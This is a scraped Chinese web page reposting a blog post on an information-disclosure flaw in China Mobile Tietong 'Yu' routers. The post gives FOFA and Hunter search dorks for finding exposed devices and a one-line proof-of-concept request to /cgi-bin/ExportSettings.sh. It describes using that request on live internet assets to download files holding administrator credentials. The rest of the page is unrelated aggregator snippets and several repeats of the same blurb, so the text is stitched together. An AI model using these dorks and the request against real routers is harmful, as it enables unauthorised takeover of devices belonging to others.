中移铁通禹路由 ExportSettings 敏感信息泄露漏洞

时间：2024-05-14 08:59:15浏览次数：14

标签：bin cgi 登录 ExportSettings 漏洞 sh 铁通中移

漏洞描述：

该漏洞由于cgi-bin/ExportSettings.sh未对用户进行身份验证，导致攻击者能够未授权获取到路由器设置信息，包含了后台管理员用户的账号和密码

fofa: title="互联世界物联未来-登录"

鹰图: web.body="互联世界物联未来-登录"

POC: GET /cgi-bin/ExportSettings.sh

漏洞复现：

fofa搜索，共有799条资产

访问资产IP，在URL后拼接/cgi-bin/ExportSettings.sh，可以下载信息文件

使用记事本查看，获取到了管理员登录账号和密码

标签：bin,cgi,登录,ExportSettings,漏洞,sh,铁通,中移
From： https://www.cnblogs.com/LeouMaster/p/18190502

netdom 是一个 Windows 命令行工具，用于管理 Windows 计算机和域的成员身份。它提供了
netdom/?此命令的语法是:NETDOMHELP命令 -或-NETDOM命令/帮助可用的命令有: NETDOMADD NETDOMRESETPWD NETDOMRESET NETDOMCOMPUTERNAME NETDOMQUERY NETDOMTRUST NETDOMHELP......
Visual Studio 工具箱报错：未能加载工具箱项,将从项目中移除（转）
未能加载工具箱项1篇文章0订阅订阅专栏我是在使用AnyCpu模式下，出现上面的错误，因为我目标平台设置的是X64解决办法：只需要把【项目名称右键->属性->生成->目标平台】设置成AnyCpu，一开始我设置的X64，因为有些第三方Nuget包不允许在X86下运行，所以为了使程序在X64下运行，把目标平台......
2024-03-23：用go语言，一张桌子上总共有 n 个硬币栈。每个栈有正整数个带面值的硬币，
2024-03-23：用go语言，一张桌子上总共有n个硬币栈。每个栈有正整数个带面值的硬币，每一次操作中，你可以从任意一个栈的顶部取出1个硬币，从栈中移除它，并放入你的钱包里。给你一个列表piles，其中piles[i]是一个整数数组，分别表示第i个栈里从顶到底的硬币面值。同时给你......
记忆化搜索 —— Leetcode 2684. 矩阵中移动的最大次数
题目如下：给你一个下标从 0 开始、大小为 mxn 的矩阵 grid ，矩阵由若干正整数组成。你可以从矩阵第一列中的任一单元格出发，按以下方式遍历 grid ：从单元格 (row,col) 可以移动到 (row-1,col+1)、(row,col+1) 和 (row+1,col+1) 三个单元......
【LeetCode 2684】矩阵中移动的最大次数
题目描述原题链接：2684矩阵中移动的最大次数解题思路每次只能向右侧的下一列紧挨着的三行严格大的格子移动；能移动到i列代表能移动i次，这取决于i-1列可到达的矩阵位置的状态，即可以整列递推相邻列是否可移动到达；两个方向递推的思路：三个(col+1)位置的状态可以逆推出一个(c......
矩阵中移动的最大次数.18076762
矩阵中移动的最大次数给你一个下标从0开始、大小为mxn的矩阵grid，矩阵由若干正整数组成。你可以从矩阵第一列中的任一单元格出发，按以下方式遍历grid：从单元格(row,col)可以移动到(row-1,col+1)、(row,col+1)和(row+1,col+1)三个单元格中任一......
pinterest插件集中移动图片到指定文件夹
importosimportshutildefis_image_file(filename):"""检查文件是否为图片文件。"""image_extensions=['.jpg','.jpeg','.png','.gif','.bmp','.tiff']returnany......
【VMware vSAN】使用命令行从vSAN集群中移除ESXi主机并加入到新的vSAN集群。
说明本文只是陈述了一种方法，不必评判谁对谁错谁好谁坏，选择适合自己的即可。环境站点名称vCenter版本vSAN集群集群主机主机版本磁盘组vcsa67.lab.comvCenter6.7U3clusteresxi-b1.lab.comesxi-b2.lab.comesxi-b3.lab.comesxi-b4.lab.comESXi6.7U3......
mysql_native_password 身份验证插件在未来版本中移除
自MySQL8.0.34起，mysql_native_password身份验证插件已被弃用，并可能在MySQL的未来版本中移除。移除意味着：Javajdbc配置文件以及后端大数据的账号密码，必须更改为caching_sha2_password认证模式，否则无法连接MySQL数据库。如果业务系统今后升级MySQL8.0，这块需要加以适配。如果......
数组类算法题——数组中移除指定元素
数组中移除指定元素题目:给你一个数组nums和一个值val，你需要原地移除所有数值等于val的元素，并返回移除后数组的新长度。不要使用额外的数组空间，你必须仅使用O(1)额外空间并原地修改输入数组。元素的顺序可以改变。你不需要考虑数组中超出新长度后面的元素。解......

中移铁通禹路由 ExportSettings 敏感信息泄露漏洞

漏洞描述：

fofa: title="互联世界物联未来-登录"

鹰图: web.body="互联世界物联未来-登录"

POC: GET /cgi-bin/ExportSettings.sh

漏洞复现：

相关文章

赞助商

阅读排行

中移铁通禹路由 ExportSettings 敏感信息泄露漏洞

漏洞描述：

fofa: title="互联世界 物联未来-登录"

鹰图: web.body="互联世界 物联未来-登录"

POC: GET /cgi-bin/ExportSettings.sh

漏洞复现：

相关文章

赞助商

阅读排行

fofa: title="互联世界物联未来-登录"

鹰图: web.body="互联世界物联未来-登录"